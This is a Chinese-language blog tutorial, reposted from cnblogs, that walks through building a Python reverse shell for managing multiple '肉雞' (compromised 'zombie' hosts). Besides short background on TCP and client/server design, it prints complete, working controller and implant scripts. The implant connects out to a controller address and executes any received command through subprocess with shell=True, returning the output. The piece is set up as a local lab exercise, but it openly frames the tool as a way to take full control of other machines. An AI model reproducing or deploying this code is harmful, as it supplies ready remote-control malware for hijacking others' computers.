程式員：利用Python實現可控制肉雞的反向Shell

来源:https://www.cnblogs.com/qingdeng123/archive/2019/10/30/11768035.html
-Advertisement-
Play Games

一、初識 瞭解TCP協議瞭解C/S結構程式設計Python socket模塊的使用Python subprocess模塊的使用 二、理論基礎 以下內容整理自百度百科，參考鏈接： TCP（傳輸控制協議）2.1 C/S結構程式設計 C/S 結構，即大家熟知的客戶機和伺服器結構。它是軟體系統體繫結構，通過 ...


一、初識

1.1 用 Python 實現一個可以管理多個肉雞的反向 Shell，為什麼叫反向 Shell 呢？反向就是肉雞作為 Client 主動連接到我們的 Server 端，以實現對多個遠程主機的管理！
學習技能：

瞭解TCP協議
瞭解C/S結構程式設計
Python socket模塊的使用
Python subprocess模塊的使用

1.2效果圖

二、理論基礎

以下內容整理自百度百科，參考鏈接：

C/S結構

TCP（傳輸控制協議）
2.1 C/S結構程式設計

C/S 結構，即大家熟知的客戶機和伺服器結構。它是軟體系統體繫結構，通過它可以充分利用兩端硬體環境的優勢，將任務合理分配到Client端和Server端來實現，降低了系統的通訊開銷。目前大多數應用軟體系統都是Client/Server形式的兩層結構，由於現在的軟體應用系統正在向分散式的Web應用發展，Web和Client/Server 應用都可以進行同樣的業務處理，應用不同的模塊共用邏輯組件；因此，內部的和外部的用戶都可以訪問新的和現有的應用系統，通過現有應用系統中的邏輯可以擴展出新的應用系統。這也就是目前應用系統的發展方向。

本次實驗就是基於C/S結構的一個應用。很多有名的遠程式控制制工具都是基於C/S結構開發的，比如：灰鴿子、冰河、teamViewer等等。但是我們應該將肉雞端作為Server還是Client呢？通常情況下是將Client作為控制端，Server作為被控端。這裡我們將採用反向連接的方式，將Server作為控制端，Client作為被控端。當然，這兩種方式都可以實現我們本次實驗的功能。這裡我採用反向連接的方式主要是考慮到肉雞在內網中，我們是無法直接連接到被控端的。如果用反向連接的方式，儘管被控端在內網中，只要我們不在內網中，或者我們做了內網埠映射、動態功能變數名稱等處理之後，被控端都是可以連接到主控端的。雖然我們在內網中也要進行相應的設置，不過主動權在我們這裡總比被控端需要設置這些更方便。

2.2 TCP（傳輸控制協議）

TCP提供一種面向連接的、可靠的位元組流服務。面向連接意味著兩個使用TCP的應用（通常是一個客戶和一個伺服器）在彼此交換數據包之前必須先建立一個TCP連接。這一過程與打電話很相似，先撥號振鈴，等待對方摘機說“喂”，然後才說明是誰。在一個TCP連接中，僅有兩方進行彼此通信，而且廣播和多播不能用於TCP。由於這裡需要傳輸的數據量比較小，對傳輸效率影響不大，而且Tcp相對來說比較穩定！所以本次實驗課程將採用Tcp協議來實現多客戶端的反向Shell。

2.3 可控制肉雞反向Shell實現方案

本次實驗將基於Tcp實現一個C/S結構的應用，Client作為被控端主動連接控制端，Server作為控制端則等待肉雞連接。具體實現方案如下：

Server（控制端）

Server作為控制端，我們首先要用Python的Socket模塊監聽本地埠，並等待被控端連接，由於我們要實現多個肉雞的反向Shell，所以我們需要 維護連接的主機列表，並選擇當前要發送命令的肉機，接下來我們就可以通過socket給指定的主機發送Shell命令了。

Client（被控端）

Client作為被控端，首先我們要通過Python的Socket模塊連接到控制端，之後只要一直等待控制端發送Shell命令就可以了，當接收到控制端發送的命令之後，用Python的subprocess模塊執行Shell命令，並將執行命令的結果用socket發送給控制端。

三、代碼實現

看了上面這麼多理論知識，同學們是不是覺得有些厭煩了？別急，現在同學們就跟著我的思路來看一下代碼的實現過程。另外說一下，在這裡我可能會把被控端叫作肉雞，意思其實是完全被我們控制的主機。在這裡我們可以把肉雞（機）和被控端當成一回事來看待，因為你能獲得主機的Shell一般就可以完全控制這台主機了。

3.1 控制端（Server）

控制端需要實現等待被控端連接、給被控端發送Shell命令，並且可以選擇和切換當前要接收Shell命令的肉雞（被控端）。所以，首先我們需要創建一個socket對象，並監聽7676埠，代碼如下：

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 創建一個Tcp Socket
s.bind(('0.0.0.0',7676)) #綁定7676埠，並與允許來自任意地址的連接
s.listen(1024) #開始監聽埠

可能大家都比較熟悉socket的用法，這裡我只說一下創建socket對象時兩個參數的含義，一般我都會在代碼的註釋中同時解釋每段代碼的含義。socket.AF_INET代表使用IPv4協議，socket.SOCK_STREAM 代表使用面向流的Tcp協議，也就是說我們創建了一個基於IPv4協議的Tcp Server。 接下來當有肉雞連接的時候我們需要獲取肉機的socket，並記錄起來，以便和肉雞進行通信。我們先來看下代碼：

def wait_connect(sk):
    global clientList
    while not quitThread:
        if len(clientList) == 0:
            print('Waiting for the connection......')
        sock, addr = sk.accept()
        print('New client %s is connection!' % (addr[0]))
        lock.acquire()
        clientList.append((sock, addr))
        lock.release()

當有多個肉機連接到控制端時，我們要記錄肉機的socket對象，以便我們可以選擇不同的操作對象，我們再來看一看是怎樣實現選擇已經連接的肉機，代碼如下：

clientList = []             #連接的客戶端列表
curClient = None            #當前的客戶端
 
def select_client():        #選擇客戶端
    global clientList
    global curClient
 
    for i in range(len(clientList)):    #輸出已經連接到控制端的肉機地址
        print('[%i]-> %s' % (i, str(clientList[i][1][0])))
    print('Please select a client!')
 
    while True:
        num = input('client num:')      #等待輸入一個待選擇地址的序號
        if int(num) >= len(clientList):
            print('Please input a correct num!')
            continue
        else:
            break
 
    curClient = clientList[int(num)]    #將選擇的socket對象存入curClient中

通過記錄已經連接肉雞的socket，並將選擇的socket賦值給curClient就實現了多客戶端的選擇。 現在我們就可以實現命令的發送和接收了：

def shell_ctrl(socket,addr):                #負責發送Shell命令和接收結果
    while True:
        com = input(str(addr[0]) + ':~#')   #等待輸入命令
        if com == '!ch':                    #切換肉機命令
            select_client()
            return
        if com == '!q':                     #退出控制端命令
            exit(0)
        socket.send(com.encode('utf-8'))    #發送命令的位元組碼
        data = socket.recv(1024)            #接收反回的結果
        print(data.decode('utf-8'))         #輸出結果

這裡有一點需要註意一下，這裡我們對接收和發送統一都用utf-8進行編碼和解碼，同樣在客戶端中也採用同樣的編碼才會保證接收和發送的結果正確。至於發送命令這部分主要就是等待用戶輸入命令然後判斷是不是切換肉雞或者是退出命令，如果不是就把命令發送給客戶端。到此我們的控制端基本的組成部分就實現完成了！

3.2 被控端（Client）

被控端需要實現連接到控制端、執行控制端發送過來的命令並將執行命令後的結果發送給控制端。與控制端相比被控端要簡單的多，下麵我們就用一個函數來實現上面我們提到的功能，代碼如下：

def connectHost(ht,pt): 
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    #創建socket對象
    sock.connect((ht,int(pt)))  #主機的指定埠
    while True:
        data = sock.recv(1024)  #接收命令
        data = data.decode('utf-8') #對命令解碼
        #執行命令
        comRst = subprocess.Popen(data,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        #獲取命令執行結果
        m_stdout, m_stderr = comRst.communicate()
        #將執行命令結果編碼後發送給控制端
        sock.send(m_stdout.decode(sys.getfilesystemencoding()).encode('utf-8'))
        time.sleep(1)
    sock.close()

通過這一個函數就實現了被控端的所有功能，是不是很簡單？這個函數的核心其實就是subprocess.Popen()這個函數，這裡我簡單介紹一下。subprocess.Popen()可以實現在一個新的進程中啟動一個子程式，第一個參數就是子程式的名字，shell=True則是說明程式在Shell中執行。至於stdout、stderr、stdin的值都是subprocess.PIPE，則表示用管道的形式與子進程交互。還有一個需要註意的地方就是在給控制端發送命令執行結果的時候，這裡先將結果用本地系統編碼的方式進行解碼，然後又用utf-8進行編碼，以避免被控端編碼不是utf-8時，控制端接收到的結果顯示亂碼。

至此我們就將控制端和被控端都實現完了，代碼很容易理解，代碼量也不多。下麵我們來整合全部代碼！

四、完整代碼

本節將會展示完整代碼，在 /home/shiyanlou/ 目錄下新建 server 文件夾

4.1 控制端

在 /home/shiyanlou/server 目錄下新建 server.py文件，並向其中寫入如下代碼：

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket
import threading
 
clientList = []             #連接的客戶端列表
curClient = None            #當前的客戶端
quitThread = False          #是否退出線程
lock = threading.Lock()
 
def shell_ctrl(socket,addr):
    while True:
        com = input(str(addr[0]) + ':~#')
        if com == '!ch':
            select_client()
            return
        if com == '!q':
            quitThread = True
            print('-----------------------* Connection has ended *--------------------------')
            exit(0)
        socket.send(com.encode('utf-8'))
        data = socket.recv(1024)
        print(data.decode('utf-8'))
 
 
def select_client():
    global clientList
    global curClient
    print('--------------* The current is connected to the client: *----------------')
    for i in range(len(clientList)):
        print('[%i]-> %s' % (i, str(clientList[i][1][0])))
    print('Please select a client!')
 
    while True:
        num = input('client num:')
        if int(num) >= len(clientList):
            print('Please input a correct num!')
            continue
        else:
            break
 
    curClient = clientList[int(num)]
 
    print('=' * 80)
    print(' ' * 20 + 'Client Shell from addr:', curClient[1][0])
    print('=' * 80)
 
def wait_connect(sk):
    global clientList
    while not quitThread:
        if len(clientList) == 0:
            print('Waiting for the connection......')
        sock, addr = sk.accept()
        print('New client %s is connection!' % (addr[0]))
        lock.acquire()
        clientList.append((sock, addr))
        lock.release()
 
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('0.0.0.0',7676))
    s.listen(1024)
 
    t = threading.Thread(target=wait_connect,args=(s,))
    t.start()
 
    while True:
        if len(clientList) > 0:
            select_client()  # 選擇一個客戶端
            shell_ctrl(curClient[0],curClient[1]) #處理shell命令
 
 
 
if __name__ == '__main__':
    main()
4.2 被控端

在 /home/shiyanlou/server 目錄下新建 client.py文件，並向其中寫入如下代碼：

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
 
import socket
import subprocess
import argparse
import sys
import time
import threading
 
def connectHost(ht,pt):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((ht,int(pt)))
    while True:
        data = sock.recv(1024)
        data = data.decode('utf-8')
        comRst = subprocess.Popen(data,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        m_stdout, m_stderr = comRst.communicate()
        sock.send(m_stdout.decode(sys.getfilesystemencoding()).encode('utf-8'))
        time.sleep(1)
    sock.close()
 
 
def main():
    parser = argparse.ArgumentParser()  #命令行參數解析對象
    parser.add_argument('-H',dest='hostName',help='Host Name')
    parser.add_argument('-p',dest='conPort',help='Host Port')
 
    args = parser.parse_args()          #解析命令行參數
    host = args.hostName
    port = args.conPort
 
    if host == None and port == None:
        print(parser.parse_args(['-h']))
        exit(0)
 
    connectHost(host,port)              #連接到控制端
 
 
if __name__ == '__main__':
    main()

我在被控端的main()函數中使用了命令行解析模塊argparse，有不懂得怎麼用的同學，可以看一下我的另一個課程Python 實現 FTP 弱口令掃描器,或者查看Python的官方文檔，來學習argparse的用法。

至此我們的代碼就全部完成了！當然這隻是反向Shell的核心，如果同學們對反向Shell有興趣，可以繼續完善想要的功能。

五、程式測試

現在我們來測試我們的程式是否達到了我們想要的功能。在編寫好代碼之後首先運行我們的控制端腳本，效果如下圖所示：

控制端腳本運行之後首先會等待被控端的連接，只有被控端連接之後，我們才可以對控制端進行命令的輸入。所以，同學們快跟著我把被控端腳本運行起來吧！運行後的效果如下圖所示：

忘了告訴大家了，被控端運行是需要給定要連接的ip地址和埠號的，如果運行時給的參數不全，會提示你參數的幫助信息。這樣做也是方便被控端可以連接到不同地址的主機。這回我運行被控端腳本的時候可千萬別忘了加上參數了！這裡我們都是在實驗樓的實驗環境中測試，所以我們就連接本地地址127.0.0.1和控制端監聽的埠7676。運行之後讓我們看一下控制端是否可以看到有新的連接加入！控制端效果如下圖所示：

可以看到控制端已經知道有新的連接加入了，並且提示我們選擇一個client，目前只有一個連接，我麽那隻能選擇提示的序號0,不過我們這裡要先測試一下輸入超出範圍的序號會有怎樣的結果：

輸入序號1之後提示我們輸入一個正確的序號，好吧！現在我們就輸入一個提示的序號0，看看會有什麼結果：

終於看到我們想要的界面了，現在我們就可以進行命令的輸入了！開始吧，輸入一個大家都比較熟悉的命令ls /:

可以看到程式確實返回了正確的結果，接下來同學們就來試試自己熟悉的命令吧！在學習Python的過程中，往往因為沒有資料或者沒人指導從而導致自己不想學下去了，因此姐姐我特意準備了個群 592539176 ，群里有大量的PDF書籍、教程都給大家免費使用！不管是學習到哪個階段的小伙伴都可以獲取到自己相對應的資料！

六、總結

通過本次實驗的學習，我們應該掌握以下知識點：

socket服務端程式的編寫方法
socket客戶端程式的編寫方法
利用Python的subprocess模塊執行Shell命令
反向Shell的基本實現思路

七、參考文獻

《Python絕技--運用Python成為頂級黑客》
《Python黑帽子-- 黑客與滲透測試編程之道》


您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • 拒絕黑盒應用-Spring Boot 應用可視化監控
    圖文簡介 邏輯關係 效果演示 快速開始 1、Spring Boot 應用暴露監控指標【版本 1.5.7.RELEASE】 首先，添加依賴如下依賴： 然後，在啟動類 添加如下註解： 最後，配置預設的登錄賬號和密碼，在 中： 提示：不建議配置 啟動應用程式後，會看到如下一系列的 Mappings 利用賬 ...
  • 面試 LockSupport.park()會釋放鎖資源嗎？
    （手機橫屏看源碼更方便） 引子 大家知道，我最近在招人，今天遇到個同學，他的源碼看過一些，然後我就開始了AQS連環問。 我：說說AQS的大致流程？ 他：AQS包含一個狀態變數，一個同步隊列……balabala……互斥鎖balabala，共用鎖balabala…… 我：AQS中除了同步隊列，還有什麼隊 ...
  • 用Python校準本地時間
    [TOC] 1. 概念 1.1 基本概念 時間，對於我們來說很重要，什麼時候做什麼？什麼時候發生什麼？沒有時間的概念，生活就亂了。 在日常的運維當中，我們更關註告警的時間：什麼時候發生、什麼事故、影響範圍、什麼時候解決，都是有關聯性的，所以時間的準確性是非常非常的重要。 你可能會好奇，時間到底是怎麼 ...
  • Spring框架 --- 深入
    1.Spring IOC IOC技術： 控制反轉，也叫（依賴註入） 控制反轉：Bean的生命周期不受你控制，而是交給Spring容器管理。 Spring框架如何利用IOC ？： 實現了控制反轉，Spring容器能幫我們實例化對象，但是並沒有做到DI（依賴註入）。 作用： (1) 構建Bean (2) ...
  • Python異常類型及處理、自定義異常類型、斷言
    異常類型（異常就是報錯） 常見異常 NameError：名稱錯誤 SyntaxError：語法錯誤 TypeError：類型錯誤 錯誤回溯 查看報錯原因、報錯的行，以及執行的代碼 通過錯誤回溯，可以直接查看到這些內容 異常本身是類（基於繼承） 在 Python 中所有的異常都是繼承自 BaseExc ...
  • 如何用IDEA創建springboot（maven）並且整合mybatis連接mysql資料庫和遇到的問題
    1、New->Project 2、點擊next 3、在Group欄輸入組織名，Artifact就是項目名。其它選擇預設就好，直接Next 4、添加依賴 5、修改您希望放項目的位置，點擊finish，等待idea下載springboot項目模板和相關的依賴 項目構建完成後的目錄結構 6、如果需要用my ...
  • Python切片中的誤區與高級用法
    眾所周知，我們可以通過索引值（或稱下標）來查找序列類型（如字元串、列表、元組...）中的單個元素，那麼，如果要獲取一個索引區間的元素該怎麼辦呢？ 切片（slice）就是一種截取索引片段的技術，藉助切片技術，我們可以十分靈活地處理序列類型的對象。通常來說，切片的作用就是截取序列對象，然而，它還有一些使 ...
  • laravel如何引用外部文件
    （1）、首先在app\Http\routes.php中定義路由； 1 2 3 Route::get('view','ViewController@view'); Route::get('article','ViewController@article'); Route::get('layout',' ...
一周排行
    -Advertisement-
    Play Games
  • 移動開發（一）：使用.NET MAUI開發第一個安卓APP
    移動開發（一）：使用.NET MAUI開發第一個安卓APP 對於工作多年的C#程式員來說，近來想嘗試開發一款安卓APP，考慮了很久最終選擇使用.NET MAUI這個微軟官方的框架來嘗試體驗開發安卓APP，畢竟是使用Visual Studio開發工具，使用起來也比較的順手，結合微軟官方的教程進行了安卓 ...
  • wpf ToggleButton選中效果和一個登錄界面
    前言 QuestPDF 是一個開源 .NET 庫，用於生成 PDF 文檔。使用了C# Fluent API方式可簡化開發、減少錯誤並提高工作效率。利用它可以輕鬆生成 PDF 報告、發票、導出文件等。 項目介紹 QuestPDF 是一個革命性的開源 .NET 庫，它徹底改變了我們生成 PDF 文檔的方 ...
  • 彈幕樹洞項目功能新增篇
    項目地址 項目後端地址： https://github.com/ZyPLJ/ZYTteeHole 項目前端頁面地址： ZyPLJ/TreeHoleVue (github.com) https://github.com/ZyPLJ/TreeHoleVue 目前項目測試訪問地址： http://tree ...
  • 第27篇 sqlserver2022詳細安裝步驟
    話不多說，直接開乾 一.下載 1.官方鏈接下載： https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 2.在下載目錄中找到下麵這個小的安裝包 SQL2022-SSEI-Dev.exe，運行開始下載SQL server； 二. ...
  • .NET 開源高性能 MQTT 類庫
    前言 隨著物聯網（IoT）技術的迅猛發展，MQTT（消息隊列遙測傳輸）協議憑藉其輕量級和高效性，已成為眾多物聯網應用的首選通信標準。 MQTTnet 作為一個高性能的 .NET 開源庫，為 .NET 平臺上的 MQTT 客戶端與伺服器開發提供了強大的支持。 本文將全面介紹 MQTTnet 的核心功能 ...
  • Serilog文檔翻譯系列（六） - 可用的接收器、增強器、格式化輸出
    Serilog支持多種接收器用於日誌存儲，增強器用於添加屬性，LogContext管理動態屬性，支持多種輸出格式包括純文本、JSON及ExpressionTemplate。還提供了自定義格式化選項，適用於不同需求。 ...
  • 警惕 Visual Studio 屬性求值副作用導致邏輯不符合預期
    目錄簡介獲取 HTML 文檔解析 HTML 文檔測試參考文章 簡介 動態內容網站使用 JavaScript 腳本動態檢索和渲染數據，爬取信息時需要模擬瀏覽器行為，否則獲取到的源碼基本是空的。 本文使用的爬取步驟如下： 使用 Selenium 獲取渲染後的 HTML 文檔 使用 HtmlAgility ...
  • [使用目前最新版]HybridCLR6.9.0+YooAsset2.2.4實現純C# Unity熱更新方案 (一)
    1.前言 什麼是熱更新 游戲或者軟體更新時，無需重新下載客戶端進行安裝，而是在應用程式啟動的情況下，在內部進行資源或者代碼更新 Unity目前常用熱更新解決方案 HybridCLR，Xlua，ILRuntime等 Unity目前常用資源管理解決方案 AssetBundles，Addressable， ...
  • 在 ASP.NET Core Web API 中使用操作篩選器統一處理通用操作
    本文章主要是在C# ASP.NET Core Web API框架實現向手機發送驗證碼簡訊功能。這裡我選擇是一個互億無線簡訊驗證碼平臺，其實像阿裡雲，騰訊雲上面也可以。 首先我們先去 互億無線 https://www.ihuyi.com/api/sms.html 去註冊一個賬號 註冊完成賬號後，它會送 ...
  • 第28篇 如何.net中實現高效可靠數據同步api
    通過以下方式可以高效，並保證數據同步的可靠性 1.API設計 使用RESTful設計，確保API端點明確，並使用適當的HTTP方法（如POST用於創建，PUT用於更新）。 設計清晰的請求和響應模型，以確保客戶端能夠理解預期格式。 2.數據驗證 在伺服器端進行嚴格的數據驗證，確保接收到的數據符合預期格 ...
所有分類